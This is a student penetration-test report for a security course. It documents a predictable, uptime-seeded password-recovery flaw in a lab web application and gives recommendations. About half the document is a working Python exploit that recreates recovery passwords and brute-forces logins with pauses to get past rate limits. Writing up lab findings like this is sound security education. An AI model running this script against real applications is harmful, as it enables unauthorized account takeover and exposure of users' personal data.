CSOC 1050: Assignment #1

September 5, 2023

Prepared By: Ashish Kishor Hedau

Table of Contents

Insecure Password Recovery in <http://10.5.50.10> leading to unauthorized access [2](#_Toc143281689)

[Description 2](#_Toc143281690)

[Impact 2](#_Toc143281691)

[Recommendations 3](#_Toc143281692)

[Steps to Reproduce 3](#_Toc143281693)

# Insecure Password Recovery in <http://10.5.50.10> leading to unauthorized access.

## Description

The assessed web application in scope <http://10.5.50.10> has been found to have a security vulnerability related to how it generates random passwords during the password recovery process. This application features a landing page that requires users to enter their ‘username’ and ‘password’ and it also includes a password recovery page where registered users can request password retrieval assistance from the administrator.

CWE 330: Use of sufficiently random values for generating random passwords.

## Impact

As the passwords are generated using a predictable seed, specifically the server uptime, individuals with knowledge of this vulnerability may be able to accurately anticipate or guess the generated passwords. Consequently, attackers could exploit this predictability to gain unauthorized access to user accounts. Successful attacks could lead to account takeovers and the potential exposure of personally identifiable information (PII), and user-provided location data stored within these accounts.

## 

## Recommendations

We recommend replacing the current method of using server uptime as seed for password generation with a cryptographically secure random number generator. This will ensure that passwords are generated with a cryptographically secure random number generator. This will ensure that passwords are generated with a high degree of unpredictability, making it much more difficult for attackers to guess them. We also recommend a password recovery policy that requires users to create complex passwords rather than random password generator.

## 

## Steps to Reproduce

The landing page of the web application in scope is pictured down below. (http://10.5.50.10)

![A screenshot of a computer

Description automatically generated]()

The password recovery field is seen below.

![A screenshot of a computer

Description automatically generated]()

The source code for this assessment was provided at <http://10.5.50.10/source.zip>

![A screenshot of a computer

Description automatically generated]()

The source code had these 3 directories in it.

![A screen shot of a computer

Description automatically generated]()

During the study of the source code, we found /debug/users and /debug/users/disabled endpoints to have usernames which can be accessed on the front end of the web application.

![A screenshot of a computer program

Description automatically generated]()

The PII can be seen at the endpoint /api/debug/users. We used the user [jane@parliment.uk](mailto:jane@parliment.uk) for our testing further.

![A screenshot of a computer

Description automatically generated]()

/api/health endpoint displays the server uptime which is used as a seed in the random password generation.

![A screenshot of a computer

Description automatically generated]()

We wrote a python code for automated exploit which needs a proxy to be turned on (like BurpSuite) and a username. The code captures the uptime from /api/health endpoint and generates random password by decrementing the uptime value until a status code of 200 is found. The code takes a break of 5 minutes after 5 random password generation.

![A screenshot of a computer

Description automatically generated]()

We gave the credentials of [jane@parliment.uk](mailto:jane@parliment.uk) and the random password generated by automated code above.

![A screenshot of a computer

Description automatically generated]()

We were able to successfully login as the user we used.

![A screenshot of a computer

Description automatically generated]()

This is the python code we used in our testing.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

import time

import requests

import random

import string

import math

from tqdm import tqdm

# Function to print a stylish ASCII banner

def print\_banner():

banner = """

█▀█ ▄▀█ █▀ █▀ █▀▀ █▀▀ █▄░█

█▀▀ █▀█ ▄█ ▄█ █▄█ ██▄ █░▀█

Password Generator by Zeus

"""

print(banner)

# Print the stylish ASCII banner

print\_banner()

# Headers for requests

headers = {

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36",

"Content-Type": "application/json",

"Accept": "application/json",

}

# Prompt the user for the API base URL

base\_url = input("Enter the API base URL (e.g., http://example.com): ").rstrip('/')

# Construct the endpoint URLs

health\_url = f"{base\_url}/api/health"

recover\_url = f"{base\_url}/api/recover"

authenticate\_url = f"{base\_url}/api/authenticate"

# Prompt the user for their email

email = input("Enter your email ID: ")

password = ""

login\_data = {

"email": email,

"password": password

}

def create\_LCG(seed):

m = 2 \*\* 32

a = 1664525

c = 1013904223

value = seed

def inner():

nonlocal value

value = (a \* value + c) % m

return value / m

return inner

def generate\_random\_password(value):

length = 12

charset = string.ascii\_letters + string.digits + "!@#$%^&\*()\_-+=<>?|"

password = ""

random\_func = create\_LCG(value)

for \_ in range(length):

index = math.floor(random\_func() \* len(charset))

password += charset[index]

return password

def recover():

response = requests.post(recover\_url, headers=headers, json={"email": email})

if response.status\_code != 200:

print("Password recovery failed")

exit()

def get\_server\_time():

response = requests.get(health\_url, headers=headers)

server\_time = response.json().get("uptime")

# Format uptime to two decimal points

server\_time = round(server\_time, 2)

return server\_time

def auth(password):

# Make a POST request to authenticate

response = requests.post(authenticate\_url, headers=headers, json={"email": email, "password": password})

return response.status\_code

recover()

server\_time = get\_server\_time()

attempts = 0

while True:

try:

for adjusting in range(20):

adjusting\_time = server\_time - adjusting / 100

password = generate\_random\_password(adjusting\_time)

attempts += 1

status\_code = auth(password)

if status\_code == 200:

print(f"\033[92mPassword: {password}\033[0m") # Green color for 200 status code

exit() # Stop the script when login is successful

elif attempts == 5:

# Use tqdm for a 5-minute break progress bar

print("Taking a 5-minute break...")

for \_ in tqdm(range(5 \* 60), desc="Break Progress", unit="sec", ncols=100):

time.sleep(1)

attempts = 0

else:

print(f"\033[91mTesting: {password}\033[0m") # Red color for non-200 status code

except Exception as e:

pass # Ignore exceptions and continue generating passwords silently

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_